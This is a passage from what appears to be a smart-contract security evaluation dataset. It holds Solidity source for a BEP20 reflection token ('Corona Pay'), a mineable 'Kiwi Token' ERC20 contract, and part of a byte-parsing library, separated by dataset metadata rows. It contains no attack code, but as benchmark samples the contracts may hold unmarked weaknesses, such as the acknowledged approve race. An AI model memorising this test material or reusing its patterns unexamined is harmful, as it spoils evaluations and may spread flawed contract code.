require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract YieldPandaToken is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Corona Pay';
string private constant _SYMBOL = 'CPAY';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 120000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 500;
uint256 private constant _BURN_FEE = 200;
uint256 private constant _MAX_TX_SIZE = 120000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 250,039 | 202 |
5b1b7ccdea371594db0b8ae6af55ac8e7301e822e4896f58175986e9bc7a7a0f
| 16,087 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2bf91c18cd4ae9c2f2858ef9fe518180f7b5096d.sol
| 3,357 | 15,450 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Kiwi Token' contract
// Mineable ERC20 Token using Proof Of Work
//
// Symbol : Kiwi
// Name : Kiwi Token
// Total supply: 7 000 000 000 (7 Billion)
// Decimals : 8
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface EIP918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function getChallengeNumber() public constant returns (bytes32);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
// ----------------------------------------------------------------------------
// Mineable ERC918 / ERC20 Token
// ----------------------------------------------------------------------------
contract _KiwiToken is ERC20Interface, Owned, EIP918Interface {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount; //number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 512;
//a little number and a big number
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function _KiwiToken() public onlyOwner{
symbol = "KIWI";
name = "KIWI Token";
decimals = 8;
_totalSupply = 7000000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce);
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber);
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if(tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 700000000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div(2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 2 minutes to mine each 'block', about 12 ethereum blocks = one kiwi epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT;
uint targetEthBlocksPerDiffPeriod = epochsMined * 12; //should be 12 times slower than ethereum
//if there were less eth blocks passed in time than expected
if(ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod)
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//reward is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//every reward era, the reward amount halves.
return (5000 * 10**uint(decimals)).div(2**rewardEra) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 215,114 | 203 |
bd9789e85081270c020a4ce85f23804b2f9ade3f2ac1a04bce4506fd5245dc83
| 13,893 |
.sol
|
Solidity
| false |
639699207
|
izar-bridge/eth-contracts
|
46d3562d9e06e6c4c6688d7c39ef7e059ad0c694
|
src/libs/ZeroCopySource.sol
| 2,569 | 9,564 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
library ZeroCopySource {
function NextBool(bytes memory buff,
uint256 offset) internal pure returns (bool, uint256) {
require(offset + 1 <= buff.length && offset < offset + 1,
"Offset exceeds limit");
// byte === bytes1
bytes1 v;
assembly {
v := mload(add(add(buff, 0x20), offset))
}
bool value;
if (v == 0x01) {
value = true;
} else if (v == 0x00) {
value = false;
} else {
revert("NextBool value error");
}
return (value, offset + 1);
}
function NextByte(bytes memory buff,
uint256 offset) internal pure returns (bytes1, uint256) {
require(offset + 1 <= buff.length && offset < offset + 1,
"NextByte, Offset exceeds maximum");
bytes1 v;
assembly {
v := mload(add(add(buff, 0x20), offset))
}
return (v, offset + 1);
}
function NextUint8(bytes memory buff,
uint256 offset) internal pure returns (uint8, uint256) {
require(offset + 1 <= buff.length && offset < offset + 1,
"NextUint8, Offset exceeds maximum");
uint8 v;
assembly {
let tmpbytes := mload(0x40)
let bvalue := mload(add(add(buff, 0x20), offset))
mstore8(tmpbytes, byte(0, bvalue))
mstore(0x40, add(tmpbytes, 0x01))
v := mload(sub(tmpbytes, 0x1f))
}
return (v, offset + 1);
}
function NextUint16(bytes memory buff,
uint256 offset) internal pure returns (uint16, uint256) {
require(offset + 2 <= buff.length && offset < offset + 2,
"NextUint16, offset exceeds maximum");
uint16 v;
assembly {
let tmpbytes := mload(0x40)
let bvalue := mload(add(add(buff, 0x20), offset))
mstore8(tmpbytes, byte(0x01, bvalue))
mstore8(add(tmpbytes, 0x01), byte(0, bvalue))
mstore(0x40, add(tmpbytes, 0x02))
v := mload(sub(tmpbytes, 0x1e))
}
return (v, offset + 2);
}
function NextUint32(bytes memory buff,
uint256 offset) internal pure returns (uint32, uint256) {
require(offset + 4 <= buff.length && offset < offset + 4,
"NextUint32, offset exceeds maximum");
uint32 v;
assembly {
let tmpbytes := mload(0x40)
let byteLen := 0x04
for {
let tindex := 0x00
let bindex := sub(byteLen, 0x01)
let bvalue := mload(add(add(buff, 0x20), offset))
} lt(tindex, byteLen) {
tindex := add(tindex, 0x01)
bindex := sub(bindex, 0x01)
} {
mstore8(add(tmpbytes, tindex), byte(bindex, bvalue))
}
mstore(0x40, add(tmpbytes, byteLen))
v := mload(sub(tmpbytes, sub(0x20, byteLen)))
}
return (v, offset + 4);
}
function NextUint64(bytes memory buff,
uint256 offset) internal pure returns (uint64, uint256) {
require(offset + 8 <= buff.length && offset < offset + 8,
"NextUint64, offset exceeds maximum");
uint64 v;
assembly {
let tmpbytes := mload(0x40)
let byteLen := 0x08
for {
let tindex := 0x00
let bindex := sub(byteLen, 0x01)
let bvalue := mload(add(add(buff, 0x20), offset))
} lt(tindex, byteLen) {
tindex := add(tindex, 0x01)
bindex := sub(bindex, 0x01)
} {
mstore8(add(tmpbytes, tindex), byte(bindex, bvalue))
}
mstore(0x40, add(tmpbytes, byteLen))
v := mload(sub(tmpbytes, sub(0x20, byteLen)))
}
return (v, offset + 8);
}
function NextUint255(bytes memory buff,
uint256 offset) internal pure returns (uint256, uint256) {
require(offset + 32 <= buff.length && offset < offset + 32,
"NextUint255, offset exceeds maximum");
uint256 v;
assembly {
let tmpbytes := mload(0x40)
let byteLen := 0x20
for {
let tindex := 0x00
let bindex := sub(byteLen, 0x01)
let bvalue := mload(add(add(buff, 0x20), offset))
} lt(tindex, byteLen) {
tindex := add(tindex, 0x01)
bindex := sub(bindex, 0x01)
} {
mstore8(add(tmpbytes, tindex), byte(bindex, bvalue))
}
mstore(0x40, add(tmpbytes, byteLen))
v := mload(tmpbytes)
}
require(v <=
0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff,
"Value exceeds the range");
return (v, offset + 32);
}
function NextVarBytes(bytes memory buff,
uint256 offset) internal pure returns (bytes memory, uint256) {
uint len;
(len, offset) = NextVarUint(buff, offset);
require(offset + len <= buff.length && offset < offset + len,
"NextVarBytes, offset exceeds maximum");
bytes memory tempBytes;
assembly {
switch iszero(len)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(len, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod),
mul(0x20, iszero(lengthmod)))
let end := add(mc, len)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(buff, lengthmod), mul(0x20, iszero(lengthmod))),
offset)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, len)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return (tempBytes, offset + len);
}
function NextHash(bytes memory buff,
uint256 offset) internal pure returns (bytes32, uint256) {
require(offset + 32 <= buff.length && offset < offset + 32,
"NextHash, offset exceeds maximum");
bytes32 v;
assembly {
v := mload(add(buff, add(offset, 0x20)))
}
return (v, offset + 32);
}
function NextBytes20(bytes memory buff,
uint256 offset) internal pure returns (bytes20, uint256) {
require(offset + 20 <= buff.length && offset < offset + 20,
"NextBytes20, offset exceeds maximum");
bytes20 v;
assembly {
v := mload(add(buff, add(offset, 0x20)))
}
return (v, offset + 20);
}
function NextVarUint(bytes memory buff,
uint256 offset) internal pure returns (uint, uint256) {
bytes1 v;
(v, offset) = NextByte(buff, offset);
uint value;
if (v == 0xFD) {
// return NextUint16(buff, offset);
(value, offset) = NextUint16(buff, offset);
require(value >= 0xFD && value <= 0xFFFF,
"NextUint16, value outside range");
return (value, offset);
} else if (v == 0xFE) {
// return NextUint32(buff, offset);
(value, offset) = NextUint32(buff, offset);
require(value > 0xFFFF && value <= 0xFFFFFFFF,
"NextVarUint, value outside range");
return (value, offset);
} else if (v == 0xFF) {
// return NextUint64(buff, offset);
(value, offset) = NextUint64(buff, offset);
